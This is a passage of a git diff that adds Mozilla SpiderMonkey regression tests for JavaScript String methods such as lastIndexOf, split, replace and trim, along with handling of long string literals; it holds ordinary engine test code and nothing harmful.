+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
diff --git a/js/src/tests/non262/String/regress-107771.js b/js/src/tests/non262/String/regress-107771.js
new file mode 100644
index 0000000000..aa14c19685
--- /dev/null
+++ b/js/src/tests/non262/String/regress-107771.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 31 October 2001
+ *
+ * SUMMARY: Regression test for bug 107771
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=107771
+ *
+ * The bug: Section 1 passed, but Sections 2-5 all failed with |actual| == 12
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 107771;
+var summary = "Regression test for bug 107771";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var str = '';
+var k = -9999;
+
+
+status = inSection(1);
+str = "AAA//BBB/CCC/";
+k = str.lastIndexOf('/');
+actual = k;
+expect = 12;
+
+status = inSection(2);
+str = str.substring(0, k);
+k = str.lastIndexOf('/');
+actual = k;
+expect = 8;
+addThis();
+
+status = inSection(3);
+str = str.substring(0, k);
+k = str.lastIndexOf('/');
+actual = k;
+expect = 4;
+addThis();
+
+status = inSection(4);
+str = str.substring(0, k);
+k = str.lastIndexOf('/');
+actual = k;
+expect = 3;
+addThis();
+
+status = inSection(5);
+str = str.substring(0, k);
+k = str.lastIndexOf('/');
+actual = k;
+expect = -1;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/String/regress-112626.js b/js/src/tests/non262/String/regress-112626.js
new file mode 100644
index 0000000000..74df1c956b
--- /dev/null
+++ b/js/src/tests/non262/String/regress-112626.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 112626;
+var summary = 'Do not crash String.split(regexp) when regexp contains parens';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var _cs='2001-01-01';
+var curTime = _cs.split(/([- :])/);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/String/regress-179068.js b/js/src/tests/non262/String/regress-179068.js
new file mode 100644
index 0000000000..89376fcee1
--- /dev/null
+++ b/js/src/tests/non262/String/regress-179068.js
@@ -0,0 +1,122 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 09 November 2002
+ * SUMMARY: Test that interpreter can handle string literals exceeding 64K
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=179068
+ *
+ * Test that the interpreter can handle string literals exceeding 64K limit.
+ * For that the script passes to eval() "str ='LONG_STRING_LITERAL';" where
+ * LONG_STRING_LITERAL is a string with 200K chars.
+ *
+ * Igor Bukanov explains the technique used below:
+ *
+ * > Philip Schwartau wrote:
+ * >...
+ * > Here is the heart of the testcase:
+ * >
+ * > // Generate 200K long string
+ * > var long_str = duplicate(LONG_STR_SEED, N);
+ * > var str = "";
+ * > eval("str='".concat(long_str, "';"));
+ * > var test_is_ok = (str.length == LONG_STR_SEED.length * N);
+ * >
+ * >
+ * > The testcase creates two identical strings, |long_str| and |str|. It
+ * > uses eval() simply to assign the value of |long_str| to |str|. Why is
+ * > it necessary to have the variable |str|, then? Why not just create
+ * > |long_str| and test it? Wouldn't this be enough:
+ * >
+ * > // Generate 200K long string
+ * > var long_str = duplicate(LONG_STR_SEED, N);
+ * > var test_is_ok = (long_str.length == LONG_STR_SEED.length * N);
+ * >
+ * > Or do we specifically need to test eval() to exercise the interpreter?
+ *
+ * The reason for eval is to test string literals like in 'a string literal
+ * with 100 000 characters...', Rhino deals fine with strings generated at
+ * run time where lengths > 64K. Without eval it would be necessary to have
+ * a test file excedding 64K which is not that polite for CVS and then a
+ * special treatment for the compiled mode in Rhino should be added.
+ *
+ *
+ * >
+ * > If so, is it important to use the concat() method in the assignment, as
+ * > you have done: |eval("str='".concat(long_str, "';"))|, or can we simply
+ * > do |eval("str = long_str;")| ?
+ *
+ * The concat is a replacement for eval("str='"+long_str+"';"), but as
+ * long_str is huge, this leads to constructing first a new string via
+ * "str='"+long_str and then another one via ("str='"+long_str) + "';"
+ * which takes time under JDK 1.1 on a something like StrongArm 200MHz.
+ * Calling concat makes less copies, that is why it is used in the
+ * duplicate function and this is faster then doing recursion like in the
+ * test case to test that 64K different string literals can be handled.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 179068;
+var summary = 'Test that interpreter can handle string literals exceeding 64K';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var LONG_STR_SEED = "0123456789";
+var N = 20 * 1024;
+var str = "";
+
+
+// Generate 200K long string and assign it to |str| via eval()
+var long_str = duplicate(LONG_STR_SEED, N);
+eval("str='".concat(long_str, "';"));
+
+status = inSection(1);
+actual = str.length == LONG_STR_SEED.length * N
+ expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function duplicate(str, count)
+{
+ var tmp = new Array(count);
+
+ while (count != 0)
+ tmp[--count] = str;
+
+ return String.prototype.concat.apply("", tmp);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/String/regress-189898.js b/js/src/tests/non262/String/regress-189898.js
new file mode 100644
index 0000000000..1b937b06a2
--- /dev/null
+++ b/js/src/tests/non262/String/regress-189898.js
@@ -0,0 +1,120 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 21 January 2003
+ * SUMMARY: Regression test for bug 189898
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=189898
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 189898;
+var summary = 'Regression test for bug 189898';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = 'XaXY'.replace('XY', '--')
+ expect = 'Xa--';
+addThis();
+
+status = inSection(2);
+actual = '$a$^'.replace('$^', '--')
+ expect = '$a--';
+addThis();
+
+status = inSection(3);
+actual = 'ababc'.replace('abc', '--')
+ expect = 'ab--';
+addThis();
+
+status = inSection(4);
+actual = 'ababc'.replace('abc', '^$')
+ expect = 'ab^$';
+addThis();
+
+
+
+/*
+ * Same as above, but providing a regexp in the first parameter
+ * to String.prototype.replace() instead of a string.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=83293
+ * for subtleties on this issue -
+ */
+status = inSection(5);
+actual = 'XaXY'.replace(/XY/, '--')
+ expect = 'Xa--';
+addThis();
+
+status = inSection(6);
+actual = 'XaXY'.replace(/XY/g, '--')
+ expect = 'Xa--';
+addThis();
+
+status = inSection(7);
+actual = '$a$^'.replace(/\$\^/, '--')
+ expect = '$a--';
+addThis();
+
+status = inSection(8);
+actual = '$a$^'.replace(/\$\^/g, '--')
+ expect = '$a--';
+addThis();
+
+status = inSection(9);
+actual = 'ababc'.replace(/abc/, '--')
+ expect = 'ab--';
+addThis();
+
+status = inSection(10);
+actual = 'ababc'.replace(/abc/g, '--')
+ expect = 'ab--';
+addThis();
+
+status = inSection(11);
+actual = 'ababc'.replace(/abc/, '^$')
+ expect = 'ab^$';
+addThis();
+
+status = inSection(12);
+actual = 'ababc'.replace(/abc/g, '^$')
+ expect = 'ab^$';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/String/regress-304376.js b/js/src/tests/non262/String/regress-304376.js
new file mode 100644
index 0000000000..d88c03c882
--- /dev/null
+++ b/js/src/tests/non262/String/regress-304376.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 304376;
+var summary = 'String.prototype should be readonly and permanent';
+var actual = '';
+var expect = '';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'TypeError';
+
+var saveString = String;
+
+String = Array;
+
+try
+{
+ // see if we can crash...
+ "".join();
+ String = saveString;
+ actual = 'No Error';
+}
+catch(ex)
+{
+ String = saveString;
+ actual = ex.name;
+ printStatus(ex + '');
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/String/regress-305064.js b/js/src/tests/non262/String/regress-305064.js
new file mode 100644
index 0000000000..3644c37d19
--- /dev/null
+++ b/js/src/tests/non262/String/regress-305064.js
@@ -0,0 +1,154 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 305064;
+var summary = 'Tests the trim, trimRight and trimLeft methods';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var trimMethods = ['trim', 'trimLeft', 'trimRight'];
+
+/** List from ES 3.1 Recommendation for String.trim (bug 305064) **/
+var whitespace = [
+ {s : '\u0009', t : 'HORIZONTAL TAB'},
+ {s : '\u000B', t : 'VERTICAL TAB'},
+ {s : '\u000C', t : 'FORMFEED'},
+ {s : '\u0020', t : 'SPACE'},
+ {s : '\u00A0', t : 'NO-BREAK SPACE'},
+ {s : '\u1680', t : 'OGHAM SPACE MARK'},
+ {s : '\u2000', t : 'EN QUAD'},
+ {s : '\u2001', t : 'EM QUAD'},
+ {s : '\u2002', t : 'EN SPACE'},
+ {s : '\u2003', t : 'EM SPACE'},
+ {s : '\u2004', t : 'THREE-PER-EM SPACE'},
+ {s : '\u2005', t : 'FOUR-PER-EM SPACE'},
+ {s : '\u2006', t : 'SIX-PER-EM SPACE'},
+ {s : '\u2007', t : 'FIGURE SPACE'},
+ {s : '\u2008', t : 'PUNCTUATION SPACE'},
+ {s : '\u2009', t : 'THIN SPACE'},
+ {s : '\u200A', t : 'HAIR SPACE'},
+ {s : '\u202F', t : 'NARROW NO-BREAK SPACE'},
+ {s : '\u205F', t : 'MEDIUM MATHEMATICAL SPACE'},
+ {s : '\u3000', t : 'IDEOGRAPHIC SPACE'},
+ {s : '\u000A', t : 'LINE FEED OR NEW LINE'},
+ {s : '\u000D', t : 'CARRIAGE RETURN'},
+ {s : '\u2028', t : 'LINE SEPARATOR'},
+ {s : '\u2029', t : 'PARAGRAPH SEPARATOR'},
+ ];
+
+for (var j = 0; j < trimMethods.length; ++j)
+{
+ var str;
+
+ var method = trimMethods[j];
+
+ if (typeof String.prototype[method] == 'undefined')
+ {
+ reportCompare(true, true, 'Test skipped. String.prototype.' + method + ' is not supported');
+ continue;
+ }
+
+ print('Test empty string.');
+ str = '';
+ expected = '';
+ actual = str[method]();
+ reportCompare(expected, actual, '"' + toPrinted(str) + '".' + method + '()');
+
+ print('Test string with no whitespace.');
+ str = 'a';
+ expected = 'a';
+ actual = str[method]();
+ reportCompare(expected, actual, '"' + toPrinted(str) + '".' + method + '()');
+
+ for (var i = 0; i < whitespace.length; ++i)
+ {
+ var v = whitespace[i].s;
+ var t = whitespace[i].t;
+ v = v + v + v;
+
+ print('=======================================');
+ print('Test ' + method + ' with with only whitespace. : ' + t);
+ str = v;
+ expected = '';
+ actual = str[method]();
+ reportCompare(expected, actual, t + ':' + '"' + toPrinted(str) + '".' + method + '()');
+
+ print('Test ' + method + ' with with no leading or trailing whitespace. : ' + t);
+ str = 'a' + v + 'b';
+ expected = str;
+ actual = str[method]();
+ reportCompare(expected, actual, t + ':' + '"' + toPrinted(str) + '".' + method + '()');
+
+ print('Test ' + method + ' with with leading whitespace. : ' + t);
+ str = v + 'a';
+ switch(method)
+ {
+ case 'trim':
+ expected = 'a';
+ break;
+ case 'trimLeft':
+ expected = 'a';
+ break;
+ case 'trimRight':
+ expected = str;
+ break;
+ }
+ actual = str[method]();
+ reportCompare(expected, actual, t + ':' + '"' + toPrinted(str) + '".' + method + '()');
+
+ print('Test ' + method + ' with with trailing whitespace. : ' + t);
+ str = 'a' + v;
+ switch(method)
+ {
+ case 'trim':
+ expected = 'a';
+ break;
+ case 'trimLeft':
+ expected = str;
+ break;
+ case 'trimRight':
+ expected = 'a';
+ break;
+ }
+ actual = str[method]();
+ reportCompare(expected, actual, t + ':' + '"' + toPrinted(str) + '".' + method + '()');
+
+ print('Test ' + method + ' with with leading and trailing whitepace.');
+ str = v + 'a' + v;
+ switch(method)
+ {
+ case 'trim':
+ expected = 'a';
+ break;
+ case 'trimLeft':
+ expected = 'a' + v;
+ break;
+ case 'trimRight':
+ expected = v + 'a';
+ break;
+ }
+ actual = str[method]();
+ reportCompare(expected, actual, t + ':' + '"' + toPrinted(str) + '".' + method + '()');
+
+ }
+}
+
+function toPrinted(value) {
+ return value.replace(/[^\u0020-\u007E]/g, function(c) {
+ if (c === "\n")
+ return "NL";
+
+ var ch = c.charCodeAt(0);
+ var hex = ch.toString(16).toUpperCase();
+ if (ch > 0xff) {
+ return "\\u" + "0000".slice(hex.length) + hex;
+ }
+ return "\\x" + "00".slice(hex.length) + hex;
+ });
+}
diff --git a/js/src/tests/non262/String/regress-313567.js b/js/src/tests/non262/String/regress-313567.js
new file mode 100644
index 0000000000..894a82175a
--- /dev/null
+++ b/js/src/tests/non262/String/regress-313567.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313567;
+var summary = 'String.prototype.length should not be generic';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var s = new String("1");
+s.toString = function() {
+ return "22";
+}
+ var expect = 1;
+var actual = s.length;
+printStatus("expect="+expect+" actual="+actual);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/String/regress-369778.js b/js/src/tests/non262/String/regress-369778.js
new file mode 100644
index 0000000000..ad282eb461
--- /dev/null
+++ b/js/src/tests/non262/String/regress-369778.js
@@ -0,0 +1,29 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+var BUGNUMBER = 369778;
+var summary =
+ "RegExpStatics::makeMatch should make an undefined value when the last " +
+ "match had an undefined capture.";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var expected = undefined;
+var actual;
+
+'x'.replace(/x(.)?/g, function(m, group) { actual = group; })
+
+print("expected: " + expected)
+print("actual: " + actual)
+
+assertEq(expected, actual)
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/non262/String/regress-392378.js b/js/src/tests/non262/String/regress-392378.js
new file mode 100644
index 0000000000..ad12e7b0bf
--- /dev/null
+++ b/js/src/tests/non262/String/regress-392378.js
@@ -0,0 +1,41 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 392378;
+var summary = 'Regular Expression Non-participating Capture Groups are inaccurate in edge cases';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = ["", undefined, ""] + '';
+ actual = "y".split(/(x)?\1y/) + '';
+ reportCompare(expect, actual, summary + ': "y".split(/(x)?\1y/)');
+
+ expect = ["", undefined, ""] + '';
+ actual = "y".split(/(x)?y/) + '';
+ reportCompare(expect, actual, summary + ': "y".split(/(x)?y/)');
+
+ expect = 'undefined';
+ actual = "y".replace(/(x)?\1y/, function($0, $1){ return String($1); }) + '';
+ reportCompare(expect, actual, summary + ': "y".replace(/(x)?\\1y/, function($0, $1){ return String($1); })');
+
+ expect = 'undefined';
+ actual = "y".replace(/(x)?y/, function($0, $1){ return String($1); }) + '';
+ reportCompare(expect, actual, summary + ': "y".replace(/(x)?y/, function($0, $1){ return String($1); })');
+
+ expect = 'undefined';
+ actual = "y".replace(/(x)?y/, function($0, $1){ return $1; }) + '';
+ reportCompare(expect, actual, summary + ': "y".replace(/(x)?y/, function($0, $1){ return $1; })');
+}
diff --git a/js/src/tests/non262/String/regress-83293.js b/js/src/tests/non262/String/regress-83293.js
new file mode 100644
index 0000000000..11807927b7
--- /dev/null
+++ b/js/src/tests/non262/String/regress-83293.js
@@ -0,0 +1,179 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/*
+ * Creation Date: 30 May 2001
+ * Correction Date: 14 Aug 2001
+ *
+ * SUMMARY: Regression test for bugs 83293, 103351
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=83293
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=103351
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=92942
+ *
+ *
+ * ******************** CORRECTION !!! *****************************
+ *
+ * When I originally wrote this test, I thought this was true:
+ * str.replace(strA, strB) == str.replace(new RegExp(strA),strB).
+ * See ECMA-262 Final Draft, 15.5.4.11 String.prototype.replace
+ *
+ * However, in http://bugzilla.mozilla.org/show_bug.cgi?id=83293
+ * Jim Ley points out the ECMA-262 Final Edition changed on this.
+ * String.prototype.replace (searchValue, replaceValue), if provided
+ * a searchValue that is not a RegExp, is NO LONGER to replace it with
+ *
+ * new RegExp(searchValue)
+ * but rather:
+ * String(searchValue)
+ *
+ * This puts the replace() method at variance with search() and match(),
+ * which continue to follow the RegExp conversion of the Final Draft.
+ * It also makes most of this testcase, as originally written, invalid.
+ **********************************************************************
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 103351; // <--- (Outgrowth of original bug 83293)
+var summ_OLD = 'Testing str.replace(strA, strB) == str.replace(new RegExp(strA),strB)';
+var summ_NEW = 'Testing String.prototype.replace(x,y) when x is a string';
+var summary = summ_NEW;
+var status = '';
+var actual = '';
+var expect= '';
+var cnEmptyString = '';
+var str = 'abc';
+var strA = cnEmptyString;
+var strB = 'Z';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+/*
+ * In this test, it's important to reportCompare() each other case
+ * BEFORE the last two cases are attempted. Don't store all results
+ * in an array and reportCompare() them at the end, as we usually do.
+ *
+ * When this bug was filed, str.replace(strA, strB) would return no value
+ * whatsoever if strA == cnEmptyString, and no error, either -
+ */
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+/******************* THESE WERE INCORRECT; SEE ABOVE ************************
+ status = 'Section A of test';
+ strA = 'a';
+ actual = str.replace(strA, strB);
+ expect = str.replace(new RegExp(strA), strB);
+ reportCompare(expect, actual, status);
+
+ status = 'Section B of test';
+ strA = 'x';
+ actual = str.replace(strA, strB);
+ expect = str.replace(new RegExp(strA), strB);
+ reportCompare(expect, actual, status);
+
+ status = 'Section C of test';
+ strA = undefined;
+ actual = str.replace(strA, strB);
+ expect = str.replace(new RegExp(strA), strB);
+ reportCompare(expect, actual, status);
+
+ status = 'Section D of test';
+ strA = null;
+ actual = str.replace(strA, strB);
+ expect = str.replace(new RegExp(strA), strB);
+ reportCompare(expect, actual, status);
+
+
+ * This example is from jim@jibbering.com (see Bugzilla bug 92942)
+ * It is a variation on the example below.
+ *
+ * Namely, we are using the regexp /$/ instead of the regexp //.
+ * The regexp /$/ means we should match the "empty string" at the
+ * end-boundary of the word, instead of the one at the beginning.
+ *
+ status = 'Section E of test';
+ var strJim = 'aa$aa';
+ strA = '$';
+ actual = strJim.replace(strA, strB); // bug -> 'aaZaa'
+ expect = strJim.replace(new RegExp(strA), strB); // expect 'aa$aaZ'
+ reportCompare(expect, actual, status);
+
+
+ *
+ * Note: 'Zabc' is the result we expect for 'abc'.replace('', 'Z').
+ *
+ * The string '' is supposed to be equivalent to new RegExp('') = //.
+ * The regexp // means we should match the "empty string" conceived of
+ * at the beginning boundary of the word, before the first character.
+ *
+ status = 'Section F of test';
+ strA = cnEmptyString;
+ actual = str.replace(strA, strB);
+ expect = 'Zabc';
+ reportCompare(expect, actual, status);
+
+ status = 'Section G of test';
+ strA = cnEmptyString;
+ actual = str.replace(strA, strB);
+ expect = str.replace(new RegExp(strA), strB);
+ reportCompare(expect, actual, status);
+
+ ************************* END OF INCORRECT CASES ****************************/
+
+
+////////////////////////// OK, LET'S START OVER //////////////////////////////
+
+ status = 'Section 1 of test';
+ actual = 'abc'.replace('a', 'Z');
+ expect = 'Zbc';
+ reportCompare(expect, actual, status);
+
+ status = 'Section 2 of test';
+ actual = 'abc'.replace('b', 'Z');
+ expect = 'aZc';
+ reportCompare(expect, actual, status);
+
+ status = 'Section 3 of test';
+ actual = 'abc'.replace(undefined, 'Z');
+ expect = 'abc'; // String(undefined) == 'undefined'; no replacement possible
+ reportCompare(expect, actual, status);
+
+ status = 'Section 4 of test';
+ actual = 'abc'.replace(null, 'Z');
+ expect = 'abc'; // String(null) == 'null'; no replacement possible
+ reportCompare(expect, actual, status);
+
+ status = 'Section 5 of test';
+ actual = 'abc'.replace(true, 'Z');
+ expect = 'abc'; // String(true) == 'true'; no replacement possible
+ reportCompare(expect, actual, status);
+
+ status = 'Section 6 of test';
+ actual = 'abc'.replace(false, 'Z');
+ expect = 'abc'; // String(false) == 'false'; no replacement possible
+ reportCompare(expect, actual, status);
+
+ status = 'Section 7 of test';
+ actual = 'aa$aa'.replace('$', 'Z');
+ expect = 'aaZaa'; // NOT 'aa$aaZ' as in ECMA Final Draft; see above
+ reportCompare(expect, actual, status);
+
+ status = 'Section 8 of test';
+ actual = 'abc'.replace('.*', 'Z');
+ expect = 'abc'; // not 'Z' as in EMCA Final Draft
+ reportCompare(expect, actual, status);
+
+ status = 'Section 9 of test';
+ actual = 'abc'.replace('', 'Z');
+ expect = 'Zabc'; // Still expect 'Zabc' for this
+ reportCompare(expect, actual, status);
+}
diff --git a/js/src/tests/non262/String/replace-GetMethod.js b/js/src/tests/non262/String/replace-GetMethod.js
new file mode 100644
index 0000000000..c596f946ff
--- /dev/null
+++ b/js/src/tests/non262/String/replace-GetMethod.js
@@ -0,0 +1,24 @@
+var BUGNUMBER = 1290655;
+var summary = "String.prototype.replace should call GetMethod.";
+
+print(BUGNUMBER + ": " + summary);
+
+function create(value) {
+ return {
+ [Symbol.replace]: value,
+ toString() {
+ return "-";
+ }
+ };
+}
+
+for (let v of [null, undefined]) {
+ assertEq("a-a".replace(create(v), "+"), "a+a");
+}
+
+for (let v of [1, true, Symbol.iterator, "", {}, []]) {
+ assertThrowsInstanceOf(() => "a-a".replace(create(v)), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/replace-flags.js b/js/src/tests/non262/String/replace-flags.js
new file mode 100644
index 0000000000..34b9475a33
--- /dev/null
+++ b/js/src/tests/non262/String/replace-flags.js
@@ -0,0 +1,25 @@
+var BUGNUMBER = 1108382;
+var summary = 'Remove non-standard flag argument from String.prototype.{search,match,replace}.';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var result = "bbbAa".match("a", "i");
+assertEq(result.index, 4);
+assertEq(result.length, 1);
+assertEq(result[0], "a");
+
+result = "bbbA".match("a", "i");
+assertEq(result, null);
+
+result = "bbbAa".search("a", "i");
+assertEq(result, 4);
+
+result = "bbbA".search("a", "i");
+assertEq(result, -1);
+
+result = "bbbAaa".replace("a", "b", "g");
+assertEq(result, "bbbAba");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/replace-math.js b/js/src/tests/non262/String/replace-math.js
new file mode 100644
index 0000000000..bfe3ec0282
--- /dev/null
+++ b/js/src/tests/non262/String/replace-math.js
@@ -0,0 +1,38 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 805121;
+var summary = "Be more careful with string math to avoid wrong results";
+
+print(BUGNUMBER + ": " + summary);
+
+/******************************************************************************/
+
+function puff(x, n)
+{
+ while(x.length < n)
+ x += x;
+ return x.substring(0, n);
+}
+
+var x = puff("1", 1 << 20);
+var rep = puff("$1", 1 << 16);
+
+try
+{
+ var y = x.replace(/(.+)/g, rep);
+ assertEq(y.length, Math.pow(2, 36));
+}
+catch (e)
+{
+ // OOM also acceptable
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/String/replace-rope-empty.js b/js/src/tests/non262/String/replace-rope-empty.js
new file mode 100644
index 0000000000..86c5b5236a
--- /dev/null
+++ b/js/src/tests/non262/String/replace-rope-empty.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+var BUGNUMBER = 1509768;
+var summary = "String#replace with an empty string pattern on a rope should prepend the replacement string.";
+
+print(BUGNUMBER + ": " + summary);
+
+// Rope is created when the string length >= 25.
+//
+// This testcase depends on that condition to reliably test the code for
+// String#replace on a rope.
+//
+// Please rewrite this testcase when the following assertion fails.
+assertEq(isRope("a".repeat(24)), false);
+assertEq(isRope("a".repeat(25)), true);
+
+// Not a rope.
+assertEq("a".repeat(24).replace("", "foo"),
+ "foo" + "a".repeat(24));
+assertEq("a".repeat(24).replace("", ""),
+ "a".repeat(24));
+
+// A rope.
+assertEq("a".repeat(25).replace("", "foo"),
+ "foo" + "a".repeat(25));
+assertEq("a".repeat(25).replace("", ""),
+ "a".repeat(25));
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/replace-throws-nonwritable-lastIndex-global.js b/js/src/tests/non262/String/replace-throws-nonwritable-lastIndex-global.js
new file mode 100644
index 0000000000..8e1c967f12
--- /dev/null
+++ b/js/src/tests/non262/String/replace-throws-nonwritable-lastIndex-global.js
@@ -0,0 +1,126 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 501739;
+var summary =
+ "String.prototype.replace should throw when called with a global RegExp " +
+ "whose .lastIndex is non-writable";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var s = '0x2x4x6x8';
+
+// First time with .lastIndex === 0, replacing to ''
+
+var p1 = /x/g;
+Object.defineProperty(p1, "lastIndex", { writable: false });
+
+try
+{
+ s.replace(p1, '');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p1.lastIndex, 0);
+}
+
+// Second time with .lastIndex !== 0, replacing to ''
+
+var p2 = /x/g;
+Object.defineProperty(p2, "lastIndex", { writable: false, value: 3 });
+
